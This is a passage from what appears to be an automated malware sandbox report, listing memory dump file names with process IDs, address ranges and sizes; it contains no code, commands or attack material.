memory/4700-213-0x0000000000000000-mapping.dmp
-
memory/4700-279-0x00000000021E0000-0x00000000021E9000-memory.dmpFilesize
36KB
-
memory/4720-369-0x0000000000400000-0x0000000000422000-memory.dmpFilesize
136KB
-
memory/4720-385-0x0000000004E80000-0x0000000005498000-memory.dmpFilesize
6.1MB
-
memory/4720-367-0x0000000000000000-mapping.dmp
-
memory/4736-521-0x0000000000AD0000-0x0000000000BA4000-memory.dmpFilesize
848KB
-
memory/4736-353-0x0000000000000000-mapping.dmp
-
memory/4800-348-0x0000000000000000-mapping.dmp
-
memory/4816-261-0x0000000003B80000-0x0000000003CC0000-memory.dmpFilesize
1.2MB
-
memory/4816-201-0x0000000000000000-mapping.dmp
-
memory/4876-181-0x0000000000000000-mapping.dmp
-
memory/5008-183-0x0000000000000000-mapping.dmp
-
memory/5020-228-0x0000000000400000-0x000000000046D000-memory.dmpFilesize
436KB
-
memory/5020-212-0x0000000000000000-mapping.dmp
-
memory/5028-171-0x0000000000000000-mapping.dmp
-
memory/5048-169-0x0000000000000000-mapping.dmp
-
memory/5136-541-0x0000000003470000-0x0000000003471000-memory.dmpFilesize
4KB
-
memory/5136-363-0x0000000000000000-mapping.dmp
-
memory/5148-358-0x0000000000000000-mapping.dmp
-
memory/5148-546-0x00000000005B0000-0x00000000005B9000-memory.dmpFilesize
36KB
-
memory/5244-361-0x0000000000000000-mapping.dmp
-
memory/5264-312-0x0000000000710000-0x0000000000711000-memory.dmpFilesize
4KB
-
memory/5264-318-0x000000001B450000-0x000000001B452000-memory.dmpFilesize
8KB
-
memory/5264-307-0x0000000000000000-mapping.dmp
-
memory/5312-335-0x0000000000AF0000-0x0000000000AF1000-memory.dmpFilesize
4KB
-
memory/5312-333-0x0000000000000000-mapping.dmp
-
memory/5312-339-0x0000000002AA0000-0x0000000002AA2000-memory.dmpFilesize
8KB
-
memory/5320-237-0x0000000000000000-mapping.dmp
-
memory/5324-341-0x0000000000000000-mapping.dmp
-
memory/5324-526-0x00000000005F0000-0x0000000000620000-memory.dmpFilesize
192KB
-
memory/5360-253-0x0000000002350000-0x0000000002351000-memory.dmpFilesize
4KB
-
memory/5360-241-0x0000000000000000-mapping.dmp
-
memory/5408-243-0x0000000000000000-mapping.dmp
-
memory/5408-267-0x0000000004830000-0x0000000004878000-memory.dmpFilesize
288KB
-
memory/5464-434-0x0000000000400000-0x0000000000436000-memory.dmpFilesize
216KB
-
memory/5464-326-0x0000000000000000-mapping.dmp
-
memory/5544-340-0x0000000000000000-mapping.dmp
-
memory/5544-345-0x0000000000400000-0x0000000000414000-memory.dmpFilesize
80KB
-
memory/5624-317-0x0000000005600000-0x0000000005C18000-memory.dmpFilesize
6.1MB
-
memory/5624-291-0x0000000005C20000-0x0000000005C21000-memory.dmpFilesize
4KB
-
memory/5624-306-0x0000000005710000-0x0000000005711000-memory.dmpFilesize
4KB
-
memory/5624-300-0x00000000058F0000-0x00000000058F1000-memory.dmpFilesize
4KB
-
memory/5624-298-0x00000000057E0000-0x00000000057E1000-memory.dmpFilesize
4KB
-
memory/5624-294-0x00000000056B0000-0x00000000056B1000-memory.dmpFilesize
4KB
-
memory/5624-282-0x0000000000400000-0x0000000000422000-memory.dmpFilesize
136KB
-
memory/5624-281-0x0000000000000000-mapping.dmp
-
memory/5636-266-0x0000000000AB0000-0x0000000000AB2000-memory.dmpFilesize
8KB
-
memory/5636-258-0x0000000000000000-mapping.dmp
-
memory/5708-360-0x0000000000000000-mapping.dmp
-
memory/5724-366-0x0000000000000000-mapping.dmp
-
memory/5724-536-0x0000000000510000-0x0000000000540000-memory.dmpFilesize
192KB
-
memory/5764-342-0x0000000000000000-mapping.dmp
-
memory/5764-368-0x0000000000670000-0x0000000000671000-memory.dmpFilesize
4KB
-
memory/5764-412-0x0000000004F20000-0x0000000005538000-memory.dmpFilesize
6.1MB
-
memory/5800-272-0x00000000009A0000-0x00000000009A1000-memory.dmpFilesize
4KB
-
memory/5800-268-0x0000000000000000-mapping.dmp
-
memory/5804-544-0x00000000067D0000-0x00000000067D1000-memory.dmpFilesize
4KB
-
memory/5892-274-0x0000000000000000-mapping.dmp
-
memory/5916-528-0x00000000053A0000-0x00000000053A1000-memory.dmpFilesize
4KB
-
memory/5924-275-0x0000000000000000-mapping.dmp
-
memory/5924-293-0x00000000009A0000-0x00000000009A1000-memory.dmpFilesize
4KB
-
memory/5924-316-0x0000000005490000-0x0000000005491000-memory.dmpFilesize
4KB
-
memory/6040-516-0x0000000005DB0000-0x0000000005DB1000-memory.dmpFilesize
4KB
-
memory/6040-351-0x0000000000000000-mapping.dmp
-
memory/6116-292-0x00000000002A0000-0x00000000002A1000-memory.dmpFilesize
4KB
-
memory/6116-406-0x000000001C620000-0x000000001C622000-memory.dmpFilesize
8KB
-
memory/6116-287-0x0000000000000000-mapping.dmp
-
memory/6132-506-0x00000000005F0000-0x000000000061F000-memory.dmpFilesize
188KB
-
memory/6132-350-0x0000000000000000-mapping.dmp
-
memory/6204-441-0x0000000001340000-0x0000000001352000-memory.dmpFilesize
72KB
-
memory/6204-395-0x0000000001320000-0x0000000001330000-memory.dmpFilesize
64KB
-
memory/6268-400-0x0000000000400000-0x0000000000414000-memory.dmpFilesize
80KB
-
memory/6276-430-0x0000000005480000-0x0000000005706000-memory.dmpFilesize
2.5MB
-
memory/6432-487-0x0000000005450000-0x0000000005451000-memory.dmpFilesize
4KB
-
memory/6460-512-0x0000000000400000-0x0000000000408000-memory.dmpFilesize
32KB
-
memory/6548-424-0x0000000000710000-0x0000000000711000-memory.dmpFilesize
4KB
-
memory/7032-493-0x00000000016F0000-0x00000000016F1000-memory.dmpFilesize
4KB
-
memory/7100-499-0x0000000004DC0000-0x0000000005046000-memory.dmpFilesize
2.5MB